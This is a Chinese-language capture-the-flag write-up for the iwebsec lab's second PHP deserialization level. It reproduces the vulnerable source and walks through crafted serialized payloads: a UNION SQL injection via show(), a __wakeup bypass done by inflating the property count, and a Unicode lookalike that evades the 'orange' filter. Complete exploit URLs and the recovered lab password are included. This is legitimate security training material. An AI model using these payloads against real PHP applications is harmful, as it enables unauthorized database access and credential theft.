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iwebsec靶场 反序列化关卡通关笔记2-反序列化漏洞示例02

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目录

第02关 反序列化漏洞示例02

1.打开靶场

2.源码分析

3.login函数利用

4.show函数利用

5.参数反序列化设计

6.show函数查询orange

7.增加注释语句

8.show函数SQL注入获取密码

（1）构造SQL语句

（2）构造序列化

（3）实战SQL注入渗透

（4）绕过wakeup

8.登录渗透

（1）绕过orange账号过滤

（2）序列化

（3）实战渗透

第02关 反序列化漏洞示例02

1.打开靶场

iwebsec 靶场漏洞库iwebsecicon-default.png?t=O83Ahttp://iwebsec.com:81/unserialize/02/index.php

 

2.源码分析

如下所示，有__destruct和__wakeup函数的调用，故而存在反序列化漏洞。

<?php

  require_once('../../header.php');
  ?>
<html>
	<head>
		<title>反序列化漏洞</title>
	</head>
	<h2>反序列化漏洞</h2>
		<div class="alert alert-success">
			<p>/index.php?data=hello </p>
		</div>
	<body>
<?php

include "config.php";

class WEB{
    private $method;
    private $args;
    private $conn;

    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;

        $this->__conn();
    }

    function show() {
        list($username) = func_get_args();
        $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
        $obj = $this->__query($sql);
        if ( $obj != false  ) {
            $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
        } else {
            $this->__die("error!");
        }
        
    }

    function login() {
        global $FLAG;

        list($username, $password) = func_get_args();
        $username = strtolower(trim(mysql_escape_string($username)));
        $password = strtolower(trim(mysql_escape_string($password)));

        $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

        if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
            $this->__die("Orange is so shy. He do not want to see you.");
        }

        $obj = $this->__query($sql);
        if ( $obj != false && $obj->role == 'admin'  ) {
            $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
        } else {
            $this->__die("Admin only!");
        }
    }

    function source() {
        highlight_file(__FILE__);
    }

    function __conn() {
        global $db_host, $db_name, $db_user, $db_pass, $DEBUG;

        if (!$this->conn)
            $this->conn = mysql_connect($db_host, $db_user, $db_pass);
        mysql_select_db($db_name, $this->conn);

        if ($DEBUG) {
            $sql = "CREATE TABLE IF NOT EXISTS users ( 
                        username VARCHAR(64), 
                        password VARCHAR(64), 
                        role VARCHAR(64)
                    ) CHARACTER SET utf8";
            $this->__query($sql, $back=false);

            $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
            $this->__query($sql, $back=false);
        } 

        mysql_query("SET names utf8");
        mysql_query("SET sql_mode = 'strict_all_tables'");
    }

    function __query($sql, $back=true) {
        $result = @mysql_query($sql);
        if ($back) {
            return @mysql_fetch_object($result);
        }
    }

    function __die($msg) {
        $this->__close();

        header("Content-Type: application/json");
        die( json_encode( array("msg"=> $msg) ) );
    }

    function __close() {
        mysql_close($this->conn);
    }

    function __destruct() {
   $this->__conn();

        if (in_array($this->method, array("show", "login", "source"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        } else {
            $this->__die("What do you do?");
        }

        $this->__close();
    }

    function __wakeup() {
foreach($this->args as $k => $v) {
            $this->args[$k] = strtolower(trim(mysql_escape_string($v)));
        }
    }
}

if(isset($_GET["data"])) {
    @unserialize($_GET["data"]);    
} else {
    new WEB("source", array());
}

关键函数destruct是通过参数来判断，如果传入参数时show就决定调用show函数，如果传入参数时login就调用login函数，另外如果参数时source就调用source函数。

    function __destruct() {
   $this->__conn();

        if (in_array($this->method, array("show", "login", "source"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        } else {
            $this->__die("What do you do?");
        }

        $this->__close();
    }

另一个关键函数wakeup则是对SQL语句进行过滤处理

    function __wakeup() {
foreach($this->args as $k => $v) {
            $this->args[$k] = strtolower(trim(mysql_escape_string($v)));
        }
    }

3.login函数利用

分析login函数，此函数中可以通过用户名和密码登陆后输出flag。如下所示可知存在用户名为orange，它的角色role是admin。

function login() {
        global $FLAG;

        list($username, $password) = func_get_args();
        $username = strtolower(trim(mysql_escape_string($username)));
        $password = strtolower(trim(mysql_escape_string($password)));

        $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

        if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
            $this->__die("Orange is so shy. He do not want to see you.");
        }

        $obj = $this->__query($sql);
        if ( $obj != false && $obj->role == 'admin'  ) {
            $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
        } else {
            $this->__die("Admin only!");
        }
    }

SQL语句的查询条件为用户名和密码，但是对username和password进行了过滤，且当两者都存在时才能查询成功

"SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password

根据如下内容可知如果用户名为orange，或者SQL语句中出现orange后不让查询

if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
            $this->__die("Orange is so shy. He do not want to see you.");
}

根据如下内容可知道如果角色为admin且SQL语句查找成功时，可以确保打印出flag 

if ( $obj != false && $obj->role == 'admin'  ) {
            $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
        }

根据如上内容，如果想渗透成功就需要使用用户名orange，于是

SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password

由于这里使用了mysql_escape_string函数处理，故而可以考虑通过show函数获取到admin角色的账号的户名和密码

4.show函数利用

分析show函数源码，大概功能是基于用户名来进行SQL查询。如下所示，SQL语句中并没有过滤函数对其进行处理

function show() {
        list($username) = func_get_args();
        $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
        $obj = $this->__query($sql);
        if ( $obj != false  ) {
            $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
        } else {
            $this->__die("error!");
        }
        
    }

  其中SQL语句的闭合方式为单引号，可以构造union查询的SQL注入语句

"SELECT * FROM users WHERE username='%s'", $username

使用参数

username=orange

5.参数反序列化设计

根据源码，根据data进行参数传入，传入后对参数进行反序列化函数处理

if(isset($_GET["data"])) {
    @unserialize($_GET["data"]);    
} else {
    new WEB("source", array());
}

基于此，需要对data参数进行反序列化，构造如下语句

<?php 

class WEB{
    private $method;
    private $args;
    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}
$args['username'] = "orange";
$args['password'] = "";
$method="show"; #或者login，或者show，或者为source
//进行序列化
$data = new WEB($method,$args);
var_dump(serialize($data));
?>

6.show函数查询orange

举例，如果想获取orange账号的show函数调用结果，构造参数如下

将方框用%00替换，故而参数为

O:3:"WEB":2:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:2:{s:8:"username";s:6:"orange";s:8:"password";s:0:"";}}

 http://iwebsec.com:81/unserialize/02/index.php?data=O:3:"WEB":2:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:2:{s:8:"username";s:6:"orange";s:8:"password";s:0:"";}}icon-default.png?t=O83Ahttp://iwebsec.com:81/unserialize/02/index.php?data=O:3:%22WEB%22:2:%7Bs:11:%22%00WEB%00method%22;s:4:%22show%22;s:9:%22%00WEB%00args%22;a:2:%7Bs:8:%22username%22;s:6:%22orange%22;s:8:%22password%22;s:0:%22%22;%7D%7D

获取到orange账号的role为为admin

7.增加注释语句

为了调试代码更加清晰，在wakeup函数处理前后增加print语句，show函数前后增加print语句，从而更清晰明了看出SQL语句是否正确

<?php

  require_once('../../header.php');
  ?>
<html>
	<head>
		<title>反序列化漏洞</title>
	</head>
	<h2>反序列化漏洞</h2>
		<div class="alert alert-success">
			<p>/index.php?data=hello </p>
		</div>
	<body>
<?php

include "config.php";

class WEB{
    private $method;
    private $args;
    private $conn;

    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;

        $this->__conn();
    }

    function show() {
        list($username) = func_get_args();
print_r("\r\n");
print_r($username);
print_r("\r\n");
        $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
print_r($sql);
print_r("\r\n");
        $obj = $this->__query($sql);
        if ( $obj != false  ) {
            $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
        } else {
            $this->__die("error!");
        }
        
    }

    function login() {
        global $FLAG;

        list($username, $password) = func_get_args();
        $username = strtolower(trim(mysql_escape_string($username)));
        $password = strtolower(trim(mysql_escape_string($password)));

        $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

        if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
            $this->__die("Orange is so shy. He do not want to see you.");
        }

        $obj = $this->__query($sql);
        if ( $obj != false && $obj->role == 'admin'  ) {
            $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
        } else {
            $this->__die("Admin only!");
        }
    }

    function source() {
        highlight_file(__FILE__);
    }

    function __conn() {
        global $db_host, $db_name, $db_user, $db_pass, $DEBUG;

        if (!$this->conn)
            $this->conn = mysql_connect($db_host, $db_user, $db_pass);
        mysql_select_db($db_name, $this->conn);

        if ($DEBUG) {
            $sql = "CREATE TABLE IF NOT EXISTS users ( 
                        username VARCHAR(64), 
                        password VARCHAR(64), 
                        role VARCHAR(64)
                    ) CHARACTER SET utf8";
            $this->__query($sql, $back=false);

            $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
            $this->__query($sql, $back=false);
        } 

        mysql_query("SET names utf8");
        mysql_query("SET sql_mode = 'strict_all_tables'");
    }

    function __query($sql, $back=true) {
        $result = @mysql_query($sql);
        if ($back) {
            return @mysql_fetch_object($result);
        }
    }

    function __die($msg) {
        $this->__close();

        header("Content-Type: application/json");
        die( json_encode( array("msg"=> $msg) ) );
    }

    function __close() {
        mysql_close($this->conn);
    }

    function __destruct() {
   $this->__conn();

        if (in_array($this->method, array("show", "login", "source"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        } else {
            $this->__die("What do you do?");
        }

        $this->__close();
    }

    function __wakeup() {
foreach($this->args as $k => $v) {
print_r($this->args[$k]);
            $this->args[$k] = strtolower(trim(mysql_escape_string($v)));
print_r("\r\n");
print_r($this->args[$k]);
print_r("----------end wakeup\r\n");
        }
    }

}

if(isset($_GET["data"])) {
    @unserialize($_GET["data"]);    
} else {
    new WEB("source", array());
}
require_once '../../footer.php';

8.show函数SQL注入获取密码

（1）构造SQL语句

show函数SQL语句的闭合方式为单引号，可以构造union查询的SQL注入语句

"SELECT * FROM users WHERE username='%s'", $username

且查询成功仅打印如下信息（即账号的username和role），算上login函数提示的中users表中还有密码参数在内，猜测这次select *应该是查询出至少3列数据。

$obj = $this->__query($sql);
sprintf("%s is %s", $obj->username, $obj->role)

如上所示，打印了obj内容中的username和role，select *内容为3列，由于不知道顺序使什么样的，为了使可以查询password，我们可以构造语句

 union select passord,passord,passord from users where username='orange'

尝试与union注入参数合并使用,如下所示

ljn' union select passord,passord,passord from users where username='orange' --

（2）构造序列化

<?php 

class WEB{
    private $method;
    private $args;
    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

$args=array("ljn' union select password,password,password from users where username='orange' -- ");
$method="show"; #或者login，或者show，或者为source
//进行序列化
$data = new WEB($method,$args);
var_dump(serialize($data));
?>

生成如下内容

 将方框用%00替换，参数为

"O:3:"WEB":2:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}"

（3）实战SQL注入渗透

构造如下url

http://192.168.71.151/unserialize/02/index.php?data=O:3:"WEB":2:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}

渗透结果如下所示

这里可以看到函数被wakeup函数处理，输出的内容中包含了mysql_escape_string，增加了转义符处理，如下所示

SELECT * FROM users WHERE username='ljn\' union select password,password,password from users where username=\'orange\' --

（4）绕过wakeup

正因如此，需要想办法绕过wakeup函数的处理，可以通过将对象属性的个数进行修改，比如说将数字数量修改一下

O:3:"WEB":3:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}

接下来进行渗透

http://192.168.71.151/unserialize/02/index.php?data=O:3:"WEB":3:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}

渗透结果如下所示

 最终获取到orange用户的密码为mall123mall

{"msg":"mall123mall is mall123mall"}

 iwebsec官网注入地址为

http://iwebsec.com:81/unserialize/02/index.php?data=O:3:"WEB":3:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}

8.登录渗透

（1）绕过orange账号过滤

构造参数，正常来讲如下所示可以输出flag。

$args['username'] = 'orange';
$args['password'] = 'mall123mall';
$method="login";

但是根据login函数中对oragne账号的过滤，可知如果用户名为orange，或者SQL语句中出现orange后程序会直接停止，无法输出flag。

if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
            $this->__die("Orange is so shy. He do not want to see you.");
}

故而在渗透过程中，需要对orange进行替换，将其替换为orÃnge

（2）序列化

根据上一步的用户名 'orÃnge'和密码'mall123mall'进行登录操作，即参数为

$args['username'] = 'orÃnge';
$args['password'] = 'mall123mall';
$method="login";

 由于源码中会对参数进行反序列化操作，故而需要将操作进行序列化，如下所示

<?php 

class WEB{
    private $method;
    private $args;
    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}
$args['username'] = 'orÃnge';
$args['password'] = 'mall123mall';
$method="login";
//进行序列化
$data = new WEB($method,$args);
var_dump(serialize($data));

?>

（3）实战渗透

 生成内容将方框乱码替换为%00，这是因为它本身就是对%00进行编码处理后的值，如下所示替换后如下右图所示

输入参数为

O:3:"WEB":2:{s:11:"%00WEB%00method";s:5:"login";s:9:"%00WEB%00args";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:11:"mall123mall";}}

构造url为

http://iwebsec.com:81/unserialize/02/index.php?data=O:3:"WEB":2:{s:11:"%00WEB%00method";s:5:"login";s:9:"%00WEB%00args";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:11:"mall123mall";}}

如下所示

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